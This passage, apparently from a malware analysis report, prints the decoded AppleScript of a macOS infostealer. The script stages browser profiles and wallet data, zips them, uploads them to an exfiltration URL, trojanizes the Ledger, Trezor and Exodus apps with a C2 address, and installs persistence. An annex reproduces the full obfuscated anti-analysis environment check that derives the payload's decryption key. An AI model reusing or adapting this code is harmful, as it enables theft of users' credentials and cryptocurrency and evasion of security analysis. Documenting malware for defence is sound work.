	set hwyksoup519 to "Waterfox" -- DECODED
	set hwyksoup520 to "Waterfox/Profiles/" -- DECODED
	set crvowfmlc to {{hwyksoup517, appDataDir & hwyksoup518}, {hwyksoup519, appDataDir & hwyksoup520}}
	
	repeat with piiqmpdi in crvowfmlc
		try
			stealFirefoxBrowserData(item 1 of piiqmpdi, item 2 of piiqmpdi, tmpStagingDir, buildFlag)
		end try
	end repeat
	
	repeat with nwsmkuirbv in chromiumBrowserList
		set hwyksoup521 to "deskwallets/" -- DECODED
		copyDirectoryRecursive(item 2 of nwsmkuirbv, tmpStagingDir & hwyksoup521 & item 1 of nwsmkuirbv)
	end repeat
	
	stealChromiumBrowserData(tmpStagingDir, firefoxBrowserList, buildFlag)
	
	set hwyksoup522 to "ditto -" -- DECODED
	set hwyksoup523 to "c -k --" -- DECODED
	set hwyksoup524 to "sequest" -- DECODED
	set hwyksoup525 to "erRsrc " -- DECODED
	set hwyksoup526 to " /tmp/out.zip" -- DECODED
	do shell script (hwyksoup522 & hwyksoup523 & hwyksoup524 & hwyksoup525) & tmpStagingDir & hwyksoup526
	
	uploadLargeFile(exfilUrl, configData, buildId, clientId, chunkNum)
	
	try
		set hwyksoup527 to "rm -rf " -- DECODED
		do shell script hwyksoup527 & tmpStagingDir
	end try
	try
		set hwyksoup528 to "rm -f /tmp/out.zip" -- DECODED
		do shell script hwyksoup528
	end try
	try
		set hwyksoup529 to "rm -f /tmp/chunk_*" -- DECODED
		do shell script hwyksoup529
	end try
	
	if storedPassword is not equal to "" then
		trojanizeLedger(homeDir, storedPassword, c2Url)
		trojanizeTrezor(homeDir, storedPassword, c2Url)
		trojanizeExodus(homeDir, storedPassword, c2Url)
	end if
	
	

	try
		installPersistence(homeDir, storedPassword, c2Url)
	end try
	
end run

'&

Annexe B: Initial Environment Check Command

The 2,906-byte AppleScript command executed first to validate the target environment. Its exit code (0 = success) derives the XOR decryption key for the main payload.

Click to expand initial check command
osascript -e '
on qbibeltf(hadzhi, uytcjk)
set firuqu to ""
set miwwbftx to 0
repeat with mivqor from 1 to count of hadzhi
set miwwbftx to (miwwbftx + (item mivqor of hadzhi)) mod 9999
set firuqu to firuqu & (character id ((item mivqor of hadzhi) - (item mivqor of uytcjk)))
end repeat
return firuqu
end qbibeltf

set eyvevhkvz to qbibeltf({194, 208, 223, 249, 180, 342, 320, 316, 196, 199, 156, 197, 308, 158, 196}, {79, 87, 108, 133, 79, 233, 225, 204, 82, 88, 54, 92, 200, 57, 82}) & " " & qbibeltf({241, 205, 256, 255, 219, 306, 244, 326, 174, 147, 168, 215, 237, 270, 305, 264}, {158, 125, 179, 154, 110, 195, 130, 205, 106, 50, 52, 118, 153, 149, 193, 163})
set tqbxvgfjop to qbibeltf({194, 208, 223, 249, 180, 342, 320, 316, 196, 199, 156, 197, 308, 158, 196}, {79, 87, 108, 133, 79, 233, 225, 204, 82, 88, 54, 92, 200, 57, 82}) & " " & qbibeltf({256, 275, 188, 170, 186, 278, 249, 152, 215, 170, 171, 183, 326, 336, 220, 318, 340, 320}, {173, 195, 116, 73, 72, 178, 130, 55, 101, 69, 103, 86, 210, 239, 136, 197, 228, 219})
set tydmfynqqy to do shell script eyvevhkvz
set ymqldgr to do shell script tqbxvgfjop

if ymqldgr contains qbibeltf({148, 124, 141, 275, 235, 195, 309, 166, 175, 246}, {58, 54, 89, 207, 151, 121, 227, 98, 98, 176}) then
do shell script "exit 0"
return
end if

set gxvbknwo to {qbibeltf({208, 224, 134, 300}, {127, 155, 57, 215}), qbibeltf({249, 292, 328, 237, 296, 173}, {163, 215, 209, 140, 182, 72}), qbibeltf({313, 272, 231}, {238, 186, 154})}
set fqjwud to {qbibeltf({302, 193, 135, 291, 299, 238, 330, 169, 276, 250}, {212, 142, 86, 221, 227, 150, 241, 88, 228, 176}), qbibeltf({160, 151, 146, 211, 224, 157, 235, 157, 196, 138, 247, 177}, {93, 103, 91, 127, 171, 109, 179, 73, 125, 89, 173, 127}), qbibeltf({270, 255, 150, 260, 201, 260, 208, 264, 297, 271, 227, 170}, {203, 207, 100, 176, 124, 210, 118, 198, 225, 183, 171, 115}), qbibeltf({260, 273, 338, 224, 120, 272, 187, 256, 179, 284, 258, 260, 350}, {193, 169, 233, 112, 62, 240, 102, 146, 72, 174, 147, 141, 240}), qbibeltf({196, 215, 225, 188, 351, 158, 300, 245, 333, 273, 244, 108}, {123, 105, 109, 87, 243, 126, 233, 134, 219, 172, 212, 58}), qbibeltf({243, 218, 337, 260, 279, 208, 338, 199, 309, 268, 290, 343, 346, 346, 272}, {157, 113, 223, 144, 162, 111, 230, 167, 232, 171, 191, 239, 241, 236, 171}), qbibeltf({137, 341, 328, 302, 338, 213, 168, 287, 281, 319}, {51, 236, 214, 186, 221, 116, 60, 210, 184, 220}), qbibeltf({153, 195, 223, 217, 266, 270, 271, 219, 231}, {113, 109, 118, 103, 150, 153, 174, 111, 190})}

set dirzmgemnu to false
repeat with scclfiwe in gxvbknwo
if tydmfynqqy contains scclfiwe then
set dirzmgemnu to true
exit repeat
end if
end repeat

if not dirzmgemnu then
repeat with scclfiwe in fqjwud
if ymqldgr contains scclfiwe then
set dirzmgemnu to true
exit repeat
end if
end repeat
end if

if dirzmgemnu then
do shell script "exit 100"
else
do shell script "exit 0"
end if
'